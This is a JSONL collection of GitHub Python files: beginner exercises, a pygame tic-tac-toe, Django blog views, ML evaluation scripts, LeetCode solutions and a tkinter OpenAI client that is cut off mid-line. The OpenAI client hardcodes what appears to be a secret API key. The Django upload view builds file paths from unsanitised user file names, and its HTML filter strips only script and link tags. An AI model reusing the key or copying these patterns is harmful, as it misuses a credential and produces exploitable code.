+{"seq_id":"42645556525","text":"\na=20\nif(a==10):\n print(\"A is 10\")\nelif(a is 20):\n print(\"A is 20\");\nelse:\n print(\"Not found!\");\n \n\n\nfor a in range(0,10,2):\n print(a)\n \n for a in range(0,30,3):\n print(a)\n \n for a in range (0,40,4):\n print(\"rofi\")\n \n \n \n number=5\nwhile(number<10):\n print(\"number is:\",number,\"ok\")\n print(\"number is:\",number,number)\n number +=1;\n \n \n number=100\nif(number<=100):\n print(\"Number less then 200\");\n print(\"Really it it..\")\n\nprint(\"Tata\");\n\n\n\n\n \n\ndef bitcoin_to_dollar(btn):\n result=btn*100;\n print(result);\nbitcoin_to_dollar(10)\n\ndef apurbas_limit(age):\n limit=age/2+7\n return limit\nprint(apurbas_limit(22))\n\ndef default_arg(sex=\"Unknown\"):\n if(sex is \"m\"):\n print(\"Male\")\n elif(sex is \"f\"):\n print(\"Female\")\n else:\n print(sex);\n\ndefault_arg(\"m\");\ndefault_arg(\"f\");\ndefault_arg();\n\n\n\ndef unpac(*arg):\n for name in arg:\n print(name)\nlsname=[\"Apurba\",\"Sifat\",\"Hasan\",\"Rafid\"]\nunpac(*lsname)\n\n\nwhile True:\n try:\n x=int( (\"Input your number:\"))\n print(28/x)\n break\n except ValueError:\n print(\"Make sure and enter a number\")\n break\n except ZeroDivisionError:\n print(\"Dont pic zero\")\n break\n except:\n break\n finally:\n print(\"Loop Complete\")\n \n \n player=[12,34,55,30,80];\nprint(\"player number is:%d\"%player[2]+\" ok\");\nplayer[2]=90;\nprint(player);\n\nsec_number=[2,4,6,8,10];\nfor n in range(1,12):\n if(n in sec_number):\n continue;\n print(n);\n \n \n number=5\nwhile(number<10):\n print(\"number is:\",number,\"ok\")\n print(\"number is:\",number,number)\n number +=1;\n \n number=100\nif(number<200):\n print(\"Number less then 200\");\n print(\"Really it it..\")\n\nprint(\"Tata\");\n\n\nplayer.extend([130,140,150]);\nprint(player);\n\nplayer.extend(range(10,15));\nprint(player);","repo_name":"rofi03/Python","sub_path":"Python/ifelse.py","file_name":"ifelse.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33408489389","text":"import pygame, sys\nimport random\nfrom pygame.locals import QUIT\n\npygame.init()\nDISPLAYSURF = pygame.display.set_mode((400, 400))\npygame.display.set_caption('Tic-Tac-Toe')\n\nfont = pygame.font.SysFont(\"Average\", 40, bold=True)\nsurf = font.render('Quit', True, 'white')\nclock = pygame.time.Clock()\n\navailable_spots = [1, 2, 3, 4, 5, 6, 7, 8, 9]\nboard = [\" \",\" \",\" \",\" \",\" \",\" \", \" \", \" \", \" \"]\n\nwinner = \"\"\n\nimg_o = pygame.image.load(\"o.png\")\nimg_o = pygame.transform.scale(img_o, (50,68))\nimg_x =pygame.image.load(\"x.png\")\nimg_x = pygame.transform.scale(img_x, (50,68))\n#img_win = pygame.image.load('won.png')\n#img_win = pygame.transform.scale(img_win, (373, 89 ))\n#img_tie = pygame.image.load('tied.png')\n#img_tie = pygame.transform.scale(img_tie, (373, 89))\n#img_lose = pygame.image.load('won.png')\n#img_lose = pygame.transform.scale(img_lose, (373, 89))\n\n#DISPLAYSURF.blit(img_x, (87,87))\n\n#o image dimensions 80x98\n#x image dimensions 80x98\n\n\n\nbutton_1 = pygame.Rect(87, 87, 75, 75)\nbutton_2 = pygame.Rect(87, 162, 75, 75)\nbutton_3 = pygame.Rect(87, 237, 75, 75)\nbutton_4 = pygame.Rect(162, 87, 75, 75)\nbutton_5 = pygame.Rect(162, 162, 75, 75)\nbutton_6 = pygame.Rect(162, 237, 75, 75)\nbutton_7 = pygame.Rect(237, 87, 75, 75)\nbutton_8 = pygame.Rect(237, 162, 75, 75)\nbutton_9 = pygame.Rect(237, 237, 75, 75)\nbutton_list = [button_1, button_2, button_3, button_4, button_5, button_6, button_7, button_8, button_9]\n\nimage_olist = []\nimage_xlist = []\n\ndef change_board(board, index, box, char, available_spots):\n board[index] = char\n available_spots.remove(available_spots[box])\n\ndef is_winner(board, letter):\n return (board[0]==board[1]==board[2]==letter) or (board[3]==board[4]==board[5]==letter) or (board[6]==board[7]==board[8]==letter) or (board[0]==board[3]==board[6]==letter) or(board[1]==board[4]==board[7]==letter) or (board[2]==board[5]==board[8]==letter) or (board[0]==board[4]==board[8]==letter) or (board[2]==board[4]==board[6]==letter) \n\ndef end_game(winner):\n if winner == 'X':\n print(\"Game is over. You lost. Better luck next time.\")\n elif winner == 'no':\n print (\"Game is tied. Better luck next time.\")\n else: \n print(\"YOU WON!\")\n\ndef is_tie(board, letter, available_spots):\n return not is_winner(board, letter) and len(available_spots) == 0\n \ndef computer_move(available_spots, board, button_list, image_xlist):\n \n for letter in ['X', 'O']:\n for i in available_spots: \n board_copy = board[:]\n board_copy[i-1] = letter\n \n if is_winner(board_copy, letter):\n p = available_spots.index(i)\n image_xlist.append((button_list[p].x, button_list[p].y))\n button_list.remove(button_list[p])\n \n return change_board(board, i-1, p,'X', available_spots)\n\n open_corners, open_edges = [], []\n \n for i in available_spots: \n if i in [1, 3, 7, 9]:\n open_corners.append(i)\n \n if len(open_corners) > 0:\n index = random.randint(0, len(open_corners)-1)\n move = open_corners[index]\n p = available_spots.index(move)\n image_xlist.append((button_list[p].x, button_list[p].y))\n button_list.remove(button_list[p])\n \n return change_board(board, move-1, p, 'X',available_spots)\n \n\n if 5 in available_spots:\n p = available_spots.index(5)\n image_xlist.append(button_list[p].x, button_list[p].y)\n button_list.remove(button_list[p])\n \n return change_board(board, 4, p, 'X', available_spots)\n \n for i in available_spots: \n if i in [2, 4, 6, 8]:\n open_edges.append(i)\n\n if len(open_edges) > 0:\n index = random.randint(0, len(open_edges)-1)\n p = available_spots.index(move)\n move = open_edges[index] \n image_xlist.append(button_list[p].x, button_list[p].y)\n button_list.remove(button_list[p])\n return change_board(board, move-1, p, 'X', available_spots)\n\n\n\ndef draw_grid():\n pygame.draw.rect(DISPLAYSURF,(52, 67, 122),(87,157,225,10))\n pygame.draw.rect(DISPLAYSURF,(52, 67, 122),(87,230,225,10))\n pygame.draw.rect(DISPLAYSURF,(52, 67, 122),(157,87,10,225))\n pygame.draw.rect(DISPLAYSURF,(52, 67, 122),(230,87,10,225))\n\n\nwhile True:\n DISPLAYSURF.fill('light blue')\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n \n if event.type == pygame.MOUSEBUTTONDOWN:\n mouse_position = pygame.mouse.get_pos()\n \n for button in button_list: \n if button.collidepoint(mouse_position):\n p = button_list.index(button)\n image_olist.append((button.x, button.y))\n button_list.remove(button)\n board_box = available_spots[p]\n \n change_board(board, board_box-1, p, \"O\", available_spots)\n if is_winner(board, 'O'):\n winner = 'O'\n break\n if is_tie(board, 'O', available_spots):\n winner = 'no'\n break\n \n computer_move(available_spots, board, button_list, image_xlist)\n if is_winner(board, 'X'):\n winner = 'X'\n break\n if is_tie(board, 'X', available_spots):\n winner = 'no'\n break\n\n \n if winner != '':\n end_game(winner)\n pygame.quit()\n sys.exit()\n \n a, b = pygame.mouse.get_pos()\n \n for button in button_list:\n if button.x <= a<= button.x + 75 and button.y <= b <= button.y +75:\n pygame.draw.rect(DISPLAYSURF, (110, 110, 110), button)\n else: \n pygame.draw.rect(DISPLAYSURF, (185, 217, 231), button)\n\n for image in image_olist:\n DISPLAYSURF.blit(img_o, (image[0]+10,image[1]))\n for image in image_xlist: \n DISPLAYSURF.blit(img_x, (image[0]+10,image[1]))\n\n draw_grid()\n \n pygame.display.update()\n clock.tick(15)","repo_name":"dianacovaci/Tic-Tac-Toe-Mania","sub_path":"TicTacToeMania.py","file_name":"TicTacToeMania.py","file_ext":"py","file_size_in_byte":5704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4247522805","text":"import os, json\nfrom bbs import settings\nfrom bs4 import BeautifulSoup\nfrom django.shortcuts import render, HttpResponse, redirect\nfrom django.http import JsonResponse\nfrom django.contrib import auth\nfrom geetest import GeetestLib\nfrom blog import forms, models\nfrom django.db.models import Count, F\n\n# Create your views here.\n\n\n# 使用极验滑动验证码的登录\ndef login(request):\n # if request.is_ajax(): # 如果是AJAX请求\n if request.method == \"POST\":\n # 初始化一个给AJAX返回的数据\n ret = {\"status\": 0, \"msg\": \"\"}\n # 从提交过来的数据中 取到用户名和密码\n username = request.POST.get(\"username\")\n pwd = request.POST.get(\"password\")\n # 获取极验 滑动验证码相关的参数\n gt = GeetestLib(pc_geetest_id, pc_geetest_key)\n challenge = request.POST.get(gt.FN_CHALLENGE, '')\n validate = request.POST.get(gt.FN_VALIDATE, '')\n seccode = request.POST.get(gt.FN_SECCODE, '')\n status = request.session[gt.GT_STATUS_SESSION_KEY]\n user_id = request.session[\"user_id\"]\n\n if status:\n result = gt.success_validate(challenge, validate, seccode, user_id)\n else:\n result = gt.failback_validate(challenge, validate, seccode)\n\n if result:\n # 验证码正确\n # 利用auth模块做用户名和密码的校验\n user = auth.authenticate(username=username, password=pwd)\n if user:\n # 用户名密码正确\n # 给用户做登录\n auth.login(request, user) # 将登录用户赋值给 request.user\n ret[\"msg\"] = \"/index/\"\n else:\n # 用户名密码错误\n ret[\"status\"] = 1\n ret[\"msg\"] = \"用户名或密码错误!\"\n else:\n ret[\"status\"] = 1\n ret[\"msg\"] = \"验证码错误\"\n\n return JsonResponse(ret)\n return render(request, \"login.html\")\n\n\n# 请在官网申请ID使用,示例ID不可使用\npc_geetest_id = \"b46d1900d0a894591916ea94ea91bd2c\"\npc_geetest_key = \"36fc3fe98530eea08dfc6ce76e3d24c4\"\n\n\ndef get_geetest(request):\n user_id = 'test'\n gt = GeetestLib(pc_geetest_id, pc_geetest_key)\n status = gt.pre_process(user_id)\n request.session[gt.GT_STATUS_SESSION_KEY] = status\n request.session[\"user_id\"] = user_id\n response_str = gt.get_response_str()\n return HttpResponse(response_str)\n\n\ndef logout(request):\n auth.logout(request=request)\n return redirect(\"/login/\")\n\n\ndef index(request):\n article_list = models.Article.objects.all()\n return render(request, 'index.html', context={\"article_list\": article_list})\n\n\ndef register(request):\n if request.method == 'POST':\n ret = {\"status\": 0, \"msg\": \"\"}\n form_obj = forms.RegForm(request.POST)\n\n if form_obj.is_valid():\n form_obj.cleaned_data.pop(\"re_password\")\n avatar = request.FILES.get(\"avatar\")\n models.UserInfo.objects.create_user(**form_obj.cleaned_data, avatar=avatar)\n ret[\"msg\"] = \"/index/\"\n return JsonResponse(ret)\n\n else:\n ret[\"status\"] = 1\n ret[\"msg\"] = form_obj.errors\n return JsonResponse(ret)\n\n else:\n form_obj = forms.RegForm()\n return render(request, 'register.html', {'form_obj': form_obj})\n\n\ndef check_username_exist(requst):\n ret = {\"status\":0, \"msg\":\"\"}\n username = requst.GET.get(\"username\")\n is_exist = models.UserInfo.objects.filter(username=username)\n if is_exist:\n ret[\"status\"] = 1\n ret[\"msg\"] = \"用户名已存在!\"\n return JsonResponse(ret)\n\n\ndef get_left_menu(username):\n user = models.UserInfo.objects.filter(username=username).first()\n blog = user.blog\n category_list = models.Category.objects.filter(blog=blog).annotate(c=Count(\"article\")).values(\"title\", \"c\")\n tag_list = models.Tag.objects.filter(blog=blog).annotate(c=Count(\"article\")).values(\"title\", \"c\")\n # 按日期归档\n archive_list = models.Article.objects.filter(user=user).extra(\n select={\"archive_ym\": \"date_format(create_time,'%%Y-%%m')\"}\n ).values(\"archive_ym\").annotate(c=Count(\"nid\")).values(\"archive_ym\", \"c\")\n return category_list, tag_list, archive_list\n\n\ndef home(request, username):\n user = models.UserInfo.objects.filter(username=username).first()\n if not user:\n return HttpResponse(\"404\")\n else:\n blog = user.blog\n article_list = models.Article.objects.filter(user=user)\n return render(request, \"home.html\", {\n \"username\": username,\n \"blog\": blog,\n \"article_list\": article_list,\n })\n\n\ndef article_detail(request, username, pk):\n user = models.UserInfo.objects.filter(username=username).first()\n if not user:\n return HttpResponse(\"404\")\n blog = user.blog\n # 找到当前的文章\n article_obj = models.Article.objects.filter(pk=pk).first()\n\n comment_list = models.Comment.objects.filter(article_id=pk)\n\n return render(\n request,\n \"article_detail.html\",\n {\n \"username\": username,\n \"article\": article_obj,\n \"blog\": blog,\n \"comment_list\":comment_list\n }\n )\n\n\ndef up_down(request):\n print(request.POST)\n print(\"*\"*50)\n article_id = request.POST.get('article_id')\n is_up = json.loads(request.POST.get('is_up'))\n user = request.user\n response = {\"status\": 1, \"msg\": \"\"}\n print(\"is_up\", is_up)\n try:\n models.ArticleUpDown.objects.create(user=user, article_id=article_id, is_up=is_up)\n models.Article.objects.filter(pk=article_id).update(up_count=F(\"up_count\")+1)\n\n except Exception as e:\n response[\"status\"] = 0\n response[\"msg\"] = models.ArticleUpDown.objects.filter(user=user, article_id=article_id).first().is_up\n print(response[\"msg\"])\n return JsonResponse(response)\n\n\ndef comment(request):\n print(request.POST)\n\n pid = request.POST.get(\"pid\")\n article_id = request.POST.get(\"article_id\")\n content = request.POST.get(\"content\")\n user_pk = request.user.pk\n print(\"*\"*20)\n print(article_id)\n response = {}\n if not pid: #根评论\n comment_obj = models.Comment.objects.create(article_id=article_id,user_id=user_pk,content=content)\n else:\n comment_obj = models.Comment.objects.create(article_id=article_id,user_id=user_pk,content=content,parent_comment_id=pid)\n\n response[\"create_time\"] = comment_obj.create_time.strftime(\"%Y-%m-%d\")\n response[\"content\"] = comment_obj.content\n response[\"username\"] = comment_obj.user.username\n\n return JsonResponse(response)\n\n\ndef comment_tree(request, article_id):\n ret = list(models.Comment.objects.filter(article_id=article_id).values(\"pk\", \"content\", \"parent_comment_id\"))\n print(ret)\n return JsonResponse(ret, safe=False)\n\n\ndef add_article(request):\n\n if request.method == \"POST\":\n title = request.POST.get('title')\n article_content = request.POST.get('article_content')\n user = request.user\n\n bs = BeautifulSoup(article_content,\"html.parser\")\n\n # 过滤非法标签\n for tag in bs.find_all():\n print(tag.name)\n\n if tag.name in [\"script\", \"link\"]:\n tag.decompose()\n\n desc = bs.text[0:150] + \"...\"\n\n article_obj = models.Article.objects.create(user=user, title=title, desc=desc)\n models.ArticleDetail.objects.create(content=str(bs), article=article_obj)\n\n return HttpResponse(\"添加成功\")\n\n return render(request, \"add_article.html\")\n\n\ndef upload(request):\n print(request.FILES)\n obj = request.FILES.get(\"upload_img\")\n\n print(\"name\", obj.name)\n\n path = os.path.join(settings.MEDIA_ROOT, \"add_article_img\", obj.name)\n\n with open(path, \"wb\") as f:\n for line in obj:\n f.write(line)\n\n res = {\n \"error\": 0,\n \"url\": \"/media/add_article_img/\"+obj.name\n }\n\n return HttpResponse(json.dumps(res))\n\n","repo_name":"coderzhuying/bbs","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11057793122","text":"import numpy as np\n\nfrom sklearn.metrics import confusion_matrix\n\n\ndef calculate_l1(x: np.ndarray, y: np.ndarray):\n return np.abs(x-y).sum()\n\n\ndef perf_measure(y_true: np.array, y_pred: np.array):\n assert y_true.shape == y_pred.shape\n\n fn = 0\n fp = 0\n tn = 0\n tp = 0\n for i in range(y_true.shape[0]):\n y_true_i = y_true[i]\n y_pred_i = y_pred[i]\n\n if y_true_i == 0 and y_pred_i == 0:\n tn += 1\n if y_true_i == 0 and y_pred_i == 1:\n fp += 1\n if y_true_i == 1 and y_pred_i == 0:\n fn += 1\n if y_true_i == 1 and y_pred_i == 1:\n tp += 1\n\n return fn, fp, tn, tp\n\n\ndef perf_measure_sklearn(y_true: np.array, y_pred: np.array):\n tn, fp, fn, tp = confusion_matrix(y_true, y_pred).ravel()\n\n return fn, fp, tn, tp\n","repo_name":"Rolandw0w/phd-sdm-cs","sub_path":"py/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42578118217","text":"#\r\n# @lc app=leetcode id=68 lang=python3\r\n#\r\n# [68] Text Justification\r\n#\r\nclass Solution:\r\n def fullJustify(self, words: List[str], maxWidth: int) -> List[str]:\r\n res = []\r\n i = 0\r\n n = len(words)\r\n while i < n:\r\n j = i + 1\r\n wordsLen = len(words[i])\r\n while j < n and wordsLen + len(words[j]) + j - i <= maxWidth:\r\n wordsLen += len(words[j])\r\n j += 1\r\n tep = []\r\n blankLen = maxWidth - wordsLen\r\n if j == n or j == i + 1: # one word in a line or the last line\r\n for _ in range(i, j):\r\n tep.append(words[_])\r\n if _ != j - 1: tep.append(' ')\r\n s = ''.join(tep)\r\n res.append(s + (maxWidth - len(s)) * ' ')\r\n else: \r\n numBlanks = j - i - 1\r\n for _ in range(i, j): # not the last line and more than one word in a line\r\n tep.append(words[_])\r\n if _ != j - 1: tep.append(' ' * (blankLen // (numBlanks) + (1 if _ - i < blankLen % (numBlanks) else 0)))\r\n res.append(''.join(tep))\r\n i = j\r\n return res\r\n\r\n","repo_name":"Wanger-SJTU/leetcode-solutions","sub_path":"python/68.文本左右对齐.py","file_name":"68.文本左右对齐.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"2747589566","text":"import numpy as np\n\ndef pareto_front(lst):\n costs = np.array(lst)\n front = np.ones(costs.shape[0], dtype = bool)\n for i, c in enumerate(costs):\n if front[i]:\n front[front] = np.any(costs[front] int:\n max_ = 1\n ret = 1\n for i in range(1, len(s)):\n if s[i - 1] == s[i]:\n max_ += 1\n else:\n ret = max(ret, max_)\n max_ = 1\n ret = max(ret, max_)\n return ret\n","repo_name":"ZZHbible/leetcode","sub_path":"leetcode1446.py","file_name":"leetcode1446.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8591689951","text":"number_word_dict = {\n \"ты\": 1000, \"м\": 1000000,\n \"сто\": 100, \"двес\": 200, \"трис\": 300, \"четырес\": 400, \"пятьс\": 500, \"шестьс\": 600, \"семьс\": 700, \"восемьс\": 800, \"девятьс\": 900,\n \"одинн\": 11, \"двен\": 12, \"трин\": 13, \"четырн\": 14, \"пятн\": 15, \"шестн\": 16, \"семн\": 17, \"восемн\": 18, \"девятн\": 19,\n \"двад\": 20, \"трид\": 30, \"сор\": 40, \"пятьд\": 50, \"шестьд\": 60, \"семьд\": 70, \"восемьд\": 80, \"девяно\": 90,\n \"дес\": 10, \"н\": 0, \"о\": 1, \"дв\": 2, \"т\": 3, \"ч\": 4, \"п\": 5, \"ш\": 6, \"с\": 7, \"в\": 8, \"д\": 9, }\n\nnumber_word_list = list(number_word_dict.keys())\n#print(number_word_list)\nmy_dict = {}\ninput_string = \"три милиона семьсот восемьдесят три тысячи девятьсот девятнадцать\"#input('Введите число словами: ')\n\ndict_itig =dict()\ntemp_list = list()\ndef transform_string_to_integer(input_string):\n input_list = input_string.split(sep=\" \")#трансформируем строку в список из слов\n #print(input_list)\n for i in input_list:#перебираем слова в ведённом списке\n itr, fix = 0, 0 #счётчики\n while fix<1: # цикл поиска ключей из number_word_dict в введённом списке числительных\n word_list = number_word_list[itr] # выбираем ключь из number_word_dict\n if i.startswith(word_list) == True: # проверка присутствия ключа в введённом списке \n word_dick = number_word_dict[word_list] # \n #print(\"word_list = \", word_list)\n if word_list == \"ты\" or word_list == \"м\": # проверка на наличие разрядности\n dict_itig[word_dick] = list(temp_list)\n temp_list.clear()\n #print(\"dict_itig = \", dict_itig)\n else:\n temp_list.append(word_dick)\n #print(\"temp_list = \", temp_list)\n fix = fix + 1 \n itr = itr + 1\n itog=sum(temp_list)\n for a in dict_itig:\n itog = itog + a * sum(dict_itig[a])\n #print(itog)\n return itog\n\nprint(transform_string_to_integer(input_string))\n\n\"\"\"number_word_dict_dict = {\"mln\":{\"м\": 1000000}, \"ths\":{\"ты\":1000},\n \"hun\":{\"сто\": 100, \"двес\": 200, \"трис\": 300, \"четырес\": 400, \"пятьс\": 500, \"шестьс\": 600, \"семьс\": 700, \"восемьс\": 800, \"девятьс\": 900},\n \"dec\":{\"двад\": 20, \"трид\": 30, \"сор\": 40, \"пятьд\": 50, \"шестьд\": 60, \"семьд\": 70, \"восемьд\": 80, \"девяно\": 90,},\n \"tens\":{\"одинн\": 11, \"двен\": 12, \"трин\": 13, \"четырн\": 14, \"пятн\": 15, \"шестн\": 16, \"семн\": 17, \"восемн\": 18, \"девятн\": 19},\n \"dig\": {\"дес\": 10, \"н\": 0, \"о\": 1, \"дв\": 2, \"т\": 3, \"ч\": 4, \"п\": 5, \"ш\": 6, \"с\": 7, \"в\": 8, \"д\": 9, }}\"\"\"\n\n\n\"\"\" for d in number_word_dict_dict:\n if word_list in number_word_dict_dict[d]:\n #d[word_list]\n print(number_word_dict_dict[d][word_list]) \"\"\"\n\n\n#s.startswith(word)\n\n\"\"\"\n**Пример №1:**\nВвод:\nодин\nВывод:\n1\n\n**Пример №2:**\nВвод:\nдвадцать\nВывод:\n20\n\n**Пример №3:**\nВвод:\nдвести сорок шесть\nВывод:\n246\n\n**Пример №4:**\nВвод:\n семьсот восемьдесят три тысячи девятьсот девятнадцать\nВывод:\n783919\n\"\"\"\n\"\"\"\nif word_list == \"м\":\n key_dict[\"м\"]\n\n key_list1.append(key_list0)\nelif word_list == \"ты\":\n key_list1.append(key_list0)\nelif word_list == \"сто\"or\"двес\"or\"трис\"or\"четырес\"or\"пятьс\"or\"шестьс\"or\"семьс\"or\"восемьс\"or\"девятьс\":\n\n\n\n\nif \"ты\"\n\nif \"сто\": 100, \"двес\": 200, \"трис\": 300, \"четырес\": 400, \"пятьс\": 500, \"шестьс\": 600, \"семьс\": 700, \"восемьс\": 800, \"девятьс\": 900,\nif \"двад\": 20, \"трид\": 30, \"сор\": 40, \"пятьд\": 50, \"шестьд\": 60, \"семьд\": 70, \"восемьд\": 80, \"девяно\": 90,\nif \"одинн\": 11, \"двен\": 12, \"трин\": 13, \"четырн\": 14, \"пятн\": 15, \"шестн\": 16, \"семн\": 17, \"восемн\": 18, \"девятн\": 19,\n\"\"\"","repo_name":"retro-nihilist/first_for_sf","sub_path":"Задание 8.1 (HW-01) Задание4.py","file_name":"Задание 8.1 (HW-01) Задание4.py","file_ext":"py","file_size_in_byte":4575,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"77837133","text":"from absl import app\nfrom absl import flags\nfrom absl import logging\nimport numpy as np\nimport os\nimport tensorflow as tf\nfrom tensorflow.python.platform import gfile\nimport aggregation\nfrom metrics import PredMetrics\nfrom representation import Representation\nfrom metrics import evaluate_interval_detection\n\nBLANK_INDEX = 0\nDEF_VAL = 1\nPAD_VAL = 0\n\nFLAGS = flags.FLAGS\nflags.DEFINE_integer(name='beam_width',\n default=10, help='Beam width to use.')\nflags.DEFINE_enum(name='decode_fn',\n default='beam_search', enum_values=[\"greedy\", \"beam_search\"],\n help='Select the decode fn')\nflags.DEFINE_string(name='logits_dir',\n default='predict/logits', help='Directory for logits tfrecord files.')\nflags.DEFINE_integer(name='num_classes',\n default=2, help='Number of classes in saved logits.')\nflags.DEFINE_string(name='predict_dir',\n default='predict', help='Directory for prediction export.')\nflags.DEFINE_integer(name='seq_length',\n default=60, help='Sequence length of saved logits.')\n\ndef parse(serialized_example):\n features = tf.io.parse_single_example(\n serialized_example, {\n 'example/logits': tf.io.FixedLenFeature([1, FLAGS.seq_length, FLAGS.num_classes], dtype=tf.float32),\n 'example/labels': tf.io.FixedLenFeature([1, FLAGS.seq_length], dtype=tf.int64)\n })\n return features['example/logits'], tf.cast(features['example/labels'], tf.int32)\n\ndef main(arg=None):\n # Make target dir\n export_dir = os.path.join(FLAGS.predict_dir, \"beam_width_\" + str(FLAGS.beam_width))\n if not os.path.exists(export_dir):\n os.makedirs(export_dir)\n # Get representation and metrics\n seq_length = FLAGS.seq_length\n num_classes = FLAGS.num_classes\n rep = Representation(blank_index=BLANK_INDEX, def_val=DEF_VAL,\n loss_mode=None, num_event_classes=num_classes-1,\n pad_val=PAD_VAL, use_def=False, decode_fn=FLAGS.decode_fn,\n beam_width=FLAGS.beam_width)\n rep.set_seq_length(seq_length)\n metrics = PredMetrics(rep)\n # Find files\n filenames = sorted(gfile.Glob(os.path.join(FLAGS.logits_dir, \"*.tfrecord\")))\n # For each file\n for filename in filenames:\n # Get video id\n video_id = os.path.splitext(os.path.basename(filename))[0]\n export_csv = os.path.join(FLAGS.predict_dir, \"beam_width_\" + str(FLAGS.beam_width), str(video_id) + \".csv\")\n logging.info(\"Working on {0}.\".format(video_id))\n # Get data information\n data = tf.data.TFRecordDataset(filename)\n n = len(list(data))\n v_seq_length = n+seq_length-1\n # Get the aggregators\n labels_aggregator = aggregation.ConcatAggregator(n=n, idx=seq_length-1)\n logits_aggregator = aggregation.AverageAggregator(num_classes=num_classes, seq_length=seq_length)\n decode_fn = rep.get_decode_fn(1)\n preds_aggregator = aggregation.BatchLevelVotedPredsAggregator(\n num_classes=num_classes, seq_length=seq_length, def_val=DEF_VAL,\n decode_fn=decode_fn)\n # Iterate through batches\n for i, batch_data in enumerate(data):\n b_logits, b_labels = parse(batch_data)\n # Aggregation step\n labels_aggregator.step(i, b_labels)\n logits_aggregator.step(i, b_logits)\n preds_aggregator.step(i, b_logits)\n # Get aggregated data\n labels = labels_aggregator.result()\n logits = logits_aggregator.result()\n preds = preds_aggregator.result()\n # Collapse on video level\n preds = rep.get_inference_collapse_fn(v_seq_length)(preds)\n # Remove empty batch dimensions\n labels = tf.squeeze(labels, axis=0)\n logits = tf.squeeze(logits, axis=0)\n preds = tf.squeeze(preds, axis=0)\n # Update metrics for single stage model\n metrics.update(labels, preds)\n # Save\n ids = [video_id] * v_seq_length\n logging.info(\"Writing {0} examples to {1}.csv...\".format(len(ids), video_id))\n save_array = np.column_stack((ids, labels.numpy().tolist(),\n logits.numpy().tolist(), preds.numpy().tolist()))\n np.savetxt(export_csv, save_array, delimiter=\",\", fmt='%s')\n # Print metrics\n metrics.finish()\n\n# Run\nif __name__ == \"__main__\":\n app.run(main=main)\n","repo_name":"prouast/ctc-intake-detection","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74220385211","text":"import pandas as pd\nimport sys\nimport os\nimport tqdm\n\nsys.path.append('/Users/dddd1007/Research/developing_lib/xia_cog_model')\nimport xia_cog_model\n\nbl_path = \"/Volumes/Research/all_research_data/project9_fmri_spatial_stroop/data/output/model_estimation/bayesian_learner/single_sub\"\nmodel_types = ['ab', 'sr']\nsub_num = range(9, 44)\n\nresults = []\nfor model_types_i in model_types:\n print(\"Calc the KL divergence for model type: \", model_types_i)\n for sub_num_i in tqdm.tqdm(sub_num):\n try:\n file_path = os.path.join(bl_path, model_types_i,f\"sub_{sub_num_i}\")\n df = xia_cog_model.load_dataframes(file_path)\n kl_df = pd.DataFrame(xia_cog_model.param_kl(df, 'r', debug=False))\n kl_df['type'] = model_types_i\n kl_df['sub'] = sub_num_i\n results.append(kl_df)\n except Exception as e:\n print(f\"Error occurred with sub_num {sub_num_i}: {e}\")\n continue\n\nresults_df = pd.concat(results, ignore_index=True)\nresults_df.to_csv('/Volumes/Research/all_research_data/project9_fmri_spatial_stroop/data/output/model_estimation/bayesian_learner/kl_divergence.csv')\n","repo_name":"dddd1007/project9_fmri_spatial_stroop_exp","sub_path":"program/analysis/beh/02_model_based_behavioral_analysis/02_01_model_estimation/bayesian_learner/calc_kl_divergence.py","file_name":"calc_kl_divergence.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40427207738","text":"import tkinter as tk\nimport requests\n\n# Create the root window\nroot = tk.Tk()\n\nroot.geometry(\"1600x1200\")\n\ncompletions = \"completions\"\n\n# Set the API endpoint and your API key\nendpoint = f\"https://api.openai.com/v1/models/{completions}\"\napi_key = \"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\"\n\n# Define a function to handle the API request\ndef handle_request():\n # Get the input text from the user\n input_text = input_field.get()\n import requests\n url = \"https://api.openai.com/v1/completions\"\n key = \"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\"\n headers = {\"Authorization\": f\"Bearer {key}\"}\n data = {\n 'model': 'text-davinci-002',\n 'prompt': input_text,\n 'temperature': 0.7,\n 'max_tokens': 200,}\n x = requests.post(url, headers=headers, json=data).json()\n # Make the API request to OpenAI\n # response = requests.post(\n # endpoint,\n # headers={\"Content-Type\": \"text/plain\", \"Authorization\": f\"Bearer {api_key}\"},\n # data=input_text\n # )\n print(x)\n # Get the response text from the API\n response_text = x[\"choices\"][0][\"text\"]\n print(response_text)\n label.config(text=response_text)\n\n # Set the response text to the label\n #response_label.config(text=response_text)\n\n# Create the input field and response label\ninput_field = tk.Entry(root,width=100,)\nresponse_label = tk.Label(root)\ntemperature=tk.Entry()\n# Create the submit button\nsubmit_button = tk.Button(root, text=\"Submit\", command=handle_request)\n\n# Place the input field and response label on the window\ninput_field.pack()\nresponse_label.pack()\n\n# Place the submit button on the window\nsubmit_button.pack()\n\n\n# Create a scrollable frame\nframe = tk.Frame(root)\nframe.pack()\ncanvas = tk.Canvas(frame)\ncanvas.pack(side=tk.LEFT)\n\n# Add a scrollbar to the frame\nscrollbar = tk.Scrollbar(frame, orient=tk.VERTICAL, command=canvas.yview)\nscrollbar.pack(side=tk.RIGHT, fill=tk.Y)\ncanvas.configure(yscrollcommand=scrollbar.set)\n\n# Bind the frame to the scrollbar's scroll command\ncanvas.bind('', lambda e: 